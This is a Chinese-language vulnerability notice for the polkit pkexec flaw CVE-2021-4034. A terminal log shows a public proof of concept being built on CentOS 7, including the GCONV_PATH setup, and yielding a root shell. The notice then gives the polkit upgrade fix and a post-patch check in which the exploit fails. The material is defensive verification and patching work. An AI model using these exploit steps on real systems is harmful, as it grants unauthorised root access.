安全公告参考:

​https://nosec.org/home/detail/4959.html​

漏洞影响:

成功利用此漏洞允许任何非特权用户在易受攻击的主机上获得root特权。Qualys安全研究人员已经能够独立验证漏洞,开发漏洞利用,并在默认安装的Ubuntu、Debian、Fedora和CentOS上获得完整的root权限。其他Linux发行版可能容易受到攻击并且可能被利用。这个漏洞已经隐藏了12年多,并影响到目前为止所有版本的pkexec。(≤0.120)

验证:

1)测试版本

CentOS Linux release 7.7.1908 (Core)

polkit-0.112-22.el7.x86_64


2)测试步骤

具体详见​​https://github.com/berdav/CVE-2021-4034​

[nuo@localhost ~]$ pkexec --version

pkexec version 0.112

[nuo@localhost ~]$ ll

total 4

drwxrwxr-x 2 nuo nuo   78 Jan 27 19:53 CVE-2021-4034-main

-rw-rw-r-- 1 nuo nuo 2199 Jan 28 10:52 CVE-2021-4034-main.zip

[nuo@localhost ~]$ cd CVE-2021-4034-main

[nuo@localhost CVE-2021-4034-main]$ ll

total 16

-rw-rw-r-- 1 nuo nuo  274 Jan 27 19:53 cve-2021-4034.c

-rw-rw-r-- 1 nuo nuo  400 Jan 27 19:53 Makefile

-rw-rw-r-- 1 nuo nuo  339 Jan 27 19:53 pwnkit.c

-rw-rw-r-- 1 nuo nuo 1474 Jan 27 19:53 README.md

[nuo@localhost CVE-2021-4034-main]$ make

cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c

cc -Wall    cve-2021-4034.c   -o cve-2021-4034

echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules

mkdir -p GCONV_PATH=.

cp /usr/bin/true GCONV_PATH=./pwnkit.so:.

[nuo@localhost CVE-2021-4034-main]$ ./cve-2021-4034  

sh-4.2# whoami

root

sh-4.2# id

uid=0(root) gid=0(root) groups=0(root),1000(nuo)


修复建议:

将polkit升级至最新版本polkit-0.112-26.el7_9.1.x86_64即可

​https://mirrors.tuna.tsinghua.edu.cn/centos/7/updates/x86_64/Packages/polkit-0.112-26.el7_9.1.x86_64.rpm​

以下两种方式均可:

# yum install polkit

# rpm -Uvh polkit-0.112-26.el7_9.1.x86_64.rpm

升级影响:

目前已知会重置/etc/sysctl.conf中的配置,升级后需要检查确认

# sysctl -a


修复后验证:

[nuo@localhost CVE-2021-4034-main]$ rpm -qa |grep polkit

polkit-0.112-26.el7_9.1.x86_64

polkit-pkla-compat-0.1-4.el7.x86_64

[nuo@localhost CVE-2021-4034-main]$ ./cve-2021-4034  

pkexec --version |

      --help |

      --disable-internal-agent |

      [--user username] PROGRAM [ARGUMENTS...]


See the pkexec manual page for more details.


Report bugs to: http://lists.freedesktop.org/mailman/listinfo/polkit-devel

polkit home page: <http://www.freedesktop.org/wiki/Software/polkit>